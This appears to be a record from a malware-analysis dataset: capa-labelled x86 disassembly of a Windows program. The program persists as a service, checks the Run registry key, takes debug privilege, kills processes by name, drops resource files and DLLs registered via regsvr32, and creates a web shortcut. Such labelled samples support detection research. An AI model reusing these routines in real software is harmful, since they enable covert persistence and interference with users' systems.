joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401240
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401259
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401294
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401290
lea ebx, [ebx]
cmp esi, eax
jae 0x401294
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401280
cmp esi, eax
jb 0x40129a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401430
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
test edx, edx
push esi
mov esi, dword [esp + 8]
je 0x401469
push ebx
push edi
nop
mov eax, dword [ecx + 4]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x486b30]
sub edx, 1
add esi, 1
test edx, edx
mov dword [ecx + 4], eax
jne 0x401440
pop edi
pop ebx
mov al, 1
pop esi
ret 8

Function at 0x401950
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
push 8
push esi
mov ecx, edi
call fcn.004013f0
shl eax, 0x18
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
lea edx, [eax + eax]
xor ecx, edx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
lea edx, [eax + eax]
and ecx, 0x4c11db7
xor ecx, edx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
lea edx, [eax + eax]
and ecx, 0x4c11db7
xor ecx, edx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
push 0x20
push eax
mov ecx, edi
call fcn.004013f0
mov dword [esi*4 + 0x486b30], eax
add esi, 1
cmp esi, 0xff
jle 0x401956
pop edi
pop esi
ret
Function at 0x404010
Capabilities:
Get session user name

Disassembly:
push 0xffffffffffffffff
push 0x465e2b
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x485618]
xor eax, esp
push eax
lea eax, [esp + 0x124]
mov dword fs:[0], eax
xor esi, esi
push esi
push esi
push 4
call fcn.00404e80
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x20], 0x103
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x1c]
push str.system
push edx
call fcn.0043b0b3
add esp, 8
test eax, eax
je 0x404091
call fcn.00403890
jmp 0x404134
lea ecx, [esp + 0x17]
call fcn.00405c60
lea ecx, [esp + 0x17]
mov dword [esp + 0x12c], esi
call fcn.00406470
push esi
push esi
push esi
push fcn.00403330
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor bl, bl
xor edi, edi
cmp dword [0x486fa4], esi
jne 0x404112
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
mov eax, 0x1b4e81b5
mul esi
shr edx, 6
imul edx, edx, 0x258
mov eax, esi
sub eax, edx
jne 0x4040ff
test bl, bl
jne 0x4040fd
cmp edi, 5
jge 0x4040fd
lea ecx, [esp + 0x17]
call fcn.00407730
mov bl, al
add edi, 1
xor esi, esi
push 0x3e8
add esi, 1
call ebp
cmp dword [0x486fa4], 0
je 0x4040d0
push 0
push 0
push 1
call fcn.00404e80
add esp, 0xc
lea ecx, [esp + 0x17]
mov dword [esp + 0x12c], 0xffffffff
call fcn.00405c70
mov ecx, dword [esp + 0x124]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.0043a450
add esp, 0x11c
ret

Function at 0x404b00
Capabilities:
Access the windows event log

Disassembly:
sub esp, 0x214
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
mov edi, dword [esp + 0x21c]
push 0x104
lea eax, [esp + 0x10]
push 0
push eax
call fcn.0043ac90
mov ecx, dword [0x487050]
push ecx
lea edx, [esp + 0x1c]
push 0x104
push edx
call fcn.0043b575
add esp, 0x18
cmp dword [0x4871f0], 0
jne 0x404bc5
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x4871ec], eax
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov ecx, dword [0x4871ec]
push ecx
lea edx, [esp + 0x14]
push edx
push str._s_error:__d
mov esi, eax
lea eax, [esp + 0x120]
push 0x104
push eax
call fcn.0043c0f3
add esp, 0x14
test esi, esi
lea ecx, [esp + 0x114]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edi
je 0x404bc4
push 0
lea edx, [esp + 0xc]
push edx
push 0
push 2
push 0
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop esi
mov ecx, dword [esp + 0x214]
pop edi
xor ecx, esp
call fcn.0043a450
add esp, 0x214
ret
Function at 0x404be0
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x208
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x204], eax
push esi
push 0x200
lea eax, [esp + 0xc]
push 0
push eax
call fcn.0043ac90
mov eax, dword [esp + 0x21c]
add esp, 0xc
test eax, eax
je 0x404c41
mov ecx, eax
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x404c20
sub ecx, esi
je 0x404c41
lea edx, [esp + 8]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x404c33
jmp 0x404c57
push 0x200
lea ecx, [esp + 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x404cb5
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x404cb5
mov edx, dword [0x487058]
push edi
mov ecx, dword [0x487054]
push 0
push 0
push edx
mov edx, dword [0x487050]
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 1
push 2
push 0x110
push 0xf01ff
push ecx
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x404cb1
push eax
call edi
push esi
call edi
pop edi
mov ecx, dword [esp + 0x208]
pop esi
xor ecx, esp
call fcn.0043a450
add esp, 0x208
ret
Function at 0x404cd0
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
je 0x404e2c
mov eax, dword [0x487050]
push esi
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x404e05
push 0x48719c
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x404da7
mov ecx, dword [0x487054]
push ebx
push edi
push ecx
push str.Stopping__s.
call fcn.0043bf0a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x48719c
push esi
call ebx
test eax, eax
je 0x404d7b
cmp dword [0x4871a0], 3
jne 0x404d7b
push 0x46b050
call fcn.0043bf0a
add esp, 4
push 0x3e8
call edi
push 0x48719c
push esi
call ebx
test eax, eax
jne 0x404d52
cmp dword [0x4871a0], 1
pop edi
pop ebx
jne 0x404d94
mov edx, dword [0x487054]
push edx
push str._n_s_stopped._n
jmp 0x404d9f
mov eax, dword [0x487054]
push eax
push str._n_s_failed_to_stop._n
call fcn.0043bf0a
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x404dd7
mov ecx, dword [0x487054]
push ecx
push str._s_removed._n
call fcn.0043bf0a
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x487098
call fcn.00404a50
push eax
push str.DeleteService_failed____s_n
call fcn.0043bf0a
add esp, 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x487098
call fcn.00404a50
push eax
push str.OpenService_failed____s_n
call fcn.0043bf0a
add esp, 0x10
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x487098
call fcn.00404a50
push eax
push str.OpenSCManager_failed____s_n
call fcn.0043bf0a
add esp, 0x10
pop ebp
ret

Function at 0x404e50
Capabilities:
Create thread
Get session user name

Disassembly:
mov eax, dword [0x487054]
push eax
push str.Debugging__s._n
call fcn.0043bf0a
add esp, 8
push 1
push 0x404a20
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
jmp fcn.00404010
Function at 0x405150
Capabilities:
Get session user name

Disassembly:
sub esp, 0x220
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x21c], eax
push edi
mov edi, dword [esp + 0x22c]
push 1
call fcn.00409c07
test eax, eax
je 0x405184
push 1
push eax
mov ecx, 0x48704c
call fcn.00402a10
push 2
call fcn.00409c07
test eax, eax
je 0x40519c
push 2
push eax
mov ecx, 0x487050
call fcn.00402a10
push 3
call fcn.00409c07
test eax, eax
je 0x4051b4
push 3
push eax
mov ecx, 0x487054
call fcn.00402a10
push 4
call fcn.00409c07
test eax, eax
je 0x4051cc
push 4
push eax
mov ecx, 0x487058
call fcn.00402a10
mov ecx, 0x487058
call fcn.004050b0
mov ecx, 0x487058
call fcn.00405060
push 0x104
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.0043ac90
mov ecx, dword [0x487050]
push ecx
lea edx, [esp + 0x28]
push 0x104
push edx
call fcn.0043b575
push 0x104
lea ecx, [esp + 0x138]
lea eax, [esp + 0x34]
push 0
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 0x404f90
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
call fcn.0043ac90
add esp, 0x24
lea edx, [esp + 4]
push edx
lea eax, [esp + 0x120]
push eax
mov dword [esp + 0xc], 0x103
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [esp + 0x11c]
push str.system
push ecx
call fcn.0043b0b3
add esp, 8
test eax, eax
je 0x4052a3
mov edx, dword [esp + 0x228]
push edi
push edx
mov dword [0x4871f0], 1
call fcn.00404e50
add esp, 8
pop edi
mov ecx, dword [esp + 0x21c]
xor ecx, esp
call fcn.0043a450
add esp, 0x220
ret
lea eax, [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x4052bf
push str.StartServiceCtrlDispatcher_failed.
call fcn.00404b00
add esp, 4
mov ecx, dword [esp + 0x220]
pop edi
xor ecx, esp
call fcn.0043a450
add esp, 0x220
ret

Function at 0x405310
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x110], eax
push esi
mov esi, dword [esp + 0x11c]
lea eax, [esp + 8]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysFreeString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40535f
xor eax, eax
pop esi
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.0043a450
add esp, 0x114
ret 4
push 0x104
lea ecx, [esp + 0x14]
push 0
push ecx
call fcn.0043ac90
add esp, 0xc
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
push esi
push edx
mov dword [esp + 0x24], 0x104
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4053b2
mov ecx, dword [esp + 0x114]
sub eax, edx
mov eax, 0
setne al
pop esi
xor ecx, esp
call fcn.0043a450
add esp, 0x114
ret 4
Function at 0x4054b0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebx
push esi
push edi
call fcn.0041258c
mov ecx, dword [esp + 0x10]
movzx edx, word [esp + 0x14]
mov eax, dword [eax + 8]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40555c
call fcn.0041258c
mov eax, dword [eax + 8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40555c
call fcn.0041258c
mov eax, dword [eax + 8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x40555c
mov eax, dword [esp + 0x18]
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40555c
push 0
lea ecx, [esp + 0x14]
push ecx
push esi
push ebx
push edi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405555
cmp dword [esp + 0x10], esi
jne 0x405555
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
ret 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
ret 0xc
Function at 0x405570
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x21c
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x230]
push ebx
mov ebx, dword [esp + 0x228]
push ebp
mov ebp, dword [esp + 0x230]
push esi
mov esi, dword [esp + 0x240]
push edi
mov edi, dword [esp + 0x230]
push 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
call dword [sym.imp.ole32.dll_CoInitialize]
lea edx, [esp + 0x10]
push edx
push 0x474abc
push 1
push 0
push 0x474cec
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
jl 0x405655
mov edx, dword [ecx + 0x50]
push edi
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push ebx
push eax
call edx
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push ebp
push eax
call edx
test esi, esi
je 0x40562a
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 0
push esi
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push edx
push 0x47623c
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jge 0x405665
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
jmp 0x4056b5
mov ecx, dword [esp + 0x1c]
push 0x104
lea eax, [esp + 0x24]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
mov edx, dword [edx + 0x18]
push 1
lea ecx, [esp + 0x24]
push ecx
push eax
call edx
mov esi, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
mov ecx, dword [esp + 0x228]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043a450
add esp, 0x21c
ret 0x18

Function at 0x4056d0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4056f0
xor eax, eax
add esp, 0x14
ret
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4056ea
mov eax, dword [esp]
push 0
push 0
push 0
lea edx, [esp + 0x10]
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
add eax, 1
add esp, 0x14
ret
Function at 0x405930
Capabilities:
Enumerate process modules
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push 0xffffffffffffffff
push 0x465f26
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x244], eax
push ebp
push esi
push edi
mov eax, dword [0x485618]
xor eax, esp
push eax
lea eax, [esp + 0x258]
mov dword fs:[0], eax
mov edi, dword [esp + 0x268]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
test eax, eax
mov dword [esp + 0x18], eax
je 0x405b41
lea ecx, [esp + 0x28]
push ecx
push eax
mov dword [esp + 0x30], 0x128
call sub.KERNEL32.dll_Process32First
mov esi, eax
call fcn.00409d38
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4059b5
push 0x80004005
call fcn.004011c0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x14], ebp
push edi
lea ecx, [esp + 0x14]
mov dword [esp + 0x264], 0
call fcn.00402d00
lea ecx, [esp + 0x10]
mov byte [esp + 0x260], 1
call fcn.00402b70
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test esi, esi
mov dword [esp + 0x1c], eax
je 0x405ae7
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x1c], eax
je 0x405ad0
push eax
push 0
push 0x1f0fff
call edi
mov esi, eax
test esi, esi
je 0x405ad0
push 0x104
lea ecx, [esp + 0x154]
push 0
push ecx
call fcn.0043ac90
add esp, 0xc
lea edx, [esp + 0x24]
push edx
push 4
lea eax, [esp + 0x28]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x20]
push 0x104
lea ecx, [esp + 0x154]
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x150]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x405a70
sub eax, edx
push eax
lea eax, [esp + 0x154]
push eax
lea ecx, [esp + 0x1c]
call fcn.00402ae0
lea ecx, [esp + 0x14]
call fcn.00402b70
mov ecx, dword [esp + 0x10]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x4059ab
mov ebp, dword [esp + 0x14]
push ecx
push ebp
call fcn.0043bea1
add esp, 8
test eax, eax
sete al
test al, al
je 0x405ac9
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x405a03
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x260], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405b1a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebp - 0x10]
mov dword [esp + 0x260], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405b41
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor al, al
mov ecx, dword [esp + 0x258]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x244]
xor ecx, esp
call fcn.0043a450
add esp, 0x254
ret 4
Function at 0x405c80
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x465f6b
mov eax, dword fs:[0]
push eax
sub esp, 0x418
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push esi
push edi
mov eax, dword [0x485618]
xor eax, esp
push eax
lea eax, [esp + 0x428]
mov dword fs:[0], eax
lea ecx, [esp + 0x13]
call fcn.004052f0
push 0x104
lea eax, [esp + 0x18]
push 0
push eax
mov dword [esp + 0x43c], 0
call fcn.0043ac90
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 1
push 0
push 0x23
push 0
call ebx
test eax, eax
jne 0x405ed7
lea eax, [esp + 0x14]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x405d06
mov edx, dword [str.yhb]
mov cl, byte [0x46b59c]
mov dword [eax], edx
push 0
lea edx, [esp + 0x18]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str.ico.ico
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x328]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x320]
push edx
push 0xc4
push 0x46af04
lea ecx, [esp + 0x1f]
call fcn.004054b0
test al, al
jne 0x405d81
push str.Unable_extract_ICON_file__abort.
call fcn.0043bf0a
add esp, 4
jmp 0x405ed7
push 0x104
lea eax, [esp + 0x18]
push 0
push eax
call fcn.0043ac90
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 1
push 0
push 0x17
push 0
call ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x11c]
push 0x46b540
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
lea ecx, [esp + 0x118]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x11c]
push 0x46b524
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x118]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x11c]
push 0x46b508
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x118]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x11c]
push 0x46b4ec
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x118]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x11c]
push 0x46b4cc
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x118]
push ecx
call edi
push 0x104
lea edx, [esp + 0x18]
push 0
push edx
call fcn.0043ac90
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 1
push 0
push 0x19
push 0
call ebx
lea ecx, [esp + 0x14]
push ecx
push 0x46b4b0
lea edx, [esp + 0x224]
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x21c]
push eax
call edi
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x220]
push 0x46b494
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x320]
push eax
push 0x46b480
lea ecx, [esp + 0x224]
push ecx
push 0x46adb8
push 0x46adb8
push str.http:__my.youhuibao.cc_
lea ecx, [esp + 0x2b]
call fcn.00405570
lea ecx, [esp + 0x13]
mov dword [esp + 0x430], 0xffffffff
call fcn.00405300
mov ecx, dword [esp + 0x428]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x414]
xor ecx, esp
call fcn.0043a450
add esp, 0x424
ret
Function at 0x405f20
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x465fab
mov eax, dword fs:[0]
push eax
sub esp, 0x314
mov eax, dword [0x485618]
xor eax, esp
mov dword [esp + 0x310], eax
push esi
mov eax, dword [0x485618]
xor eax, esp
push eax
lea eax, [esp + 0x31c]
mov dword fs:[0], eax
lea ecx, [esp + 0xb]
call fcn.004052f0
push 0x104
lea eax, [esp + 0x218]
push 0
push eax
mov dword [esp + 0x330], 0
call fcn.0043ac90
add esp, 0xc
push 0x104
lea ecx, [esp + 0x218]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x214]
push 0x5c
push edx
call fcn.0043ad10
add esp, 8
test eax, eax
lea ecx, [esp + 0xb]
jne 0x405fc9
mov dword [esp + 0x324], 0xffffffff
call fcn.00405300
xor al, al
jmp 0x4060e5
mov byte [eax], 0
call fcn.00405400
test eax, eax
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
je 0x406055
push 0x104
lea eax, [esp + 0x10]
push 0
push eax
call fcn.0043ac90
lea ecx, [esp + 0x220]
push ecx
push str._syhb64.dll
lea edx, [esp + 0x20]
push 0x104
push edx
call fcn.0043c0f3
push 0x104
lea eax, [esp + 0x130]
push 0
push eax
call fcn.0043ac90
lea ecx, [esp + 0x34]
push ecx
push str._s__u___s_
lea edx, [esp + 0x140]
push 0x104
push edx
call fcn.0043c0f3
add esp, 0x38
push 0
push 0
lea eax, [esp + 0x118]
push eax
push str.regsvr32.exe
push str.OPEN
push 0
call esi
push 0x104
lea ecx, [esp + 0x10]
push 0
push ecx
call fcn.0043ac90
lea edx, [esp + 0x220]
push edx
push str._syhb32.dll
lea eax, [esp + 0x20]
push 0x104
push eax
call fcn.0043c0f3
push 0x104
lea ecx, [esp + 0x130]
push 0
push ecx
call fcn.0043ac90
lea edx, [esp + 0x34]
push edx
push str._u__s___s_
lea eax, [esp + 0x140]
push 0x104
push eax
call fcn.0043c0f3
add esp, 0x38
push 5
push 0
lea ecx, [esp + 0x118]
push ecx
push str.regsvr32.exe
push str.OPEN
push 0
call esi
lea ecx, [esp + 0xb]
mov dword [esp + 0x324], 0xffffffff
call fcn.00405300
mov al, 1
mov ecx, dword [esp + 0x31c]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x310]
xor ecx, esp
call fcn.0043a450
add esp, 0x320
ret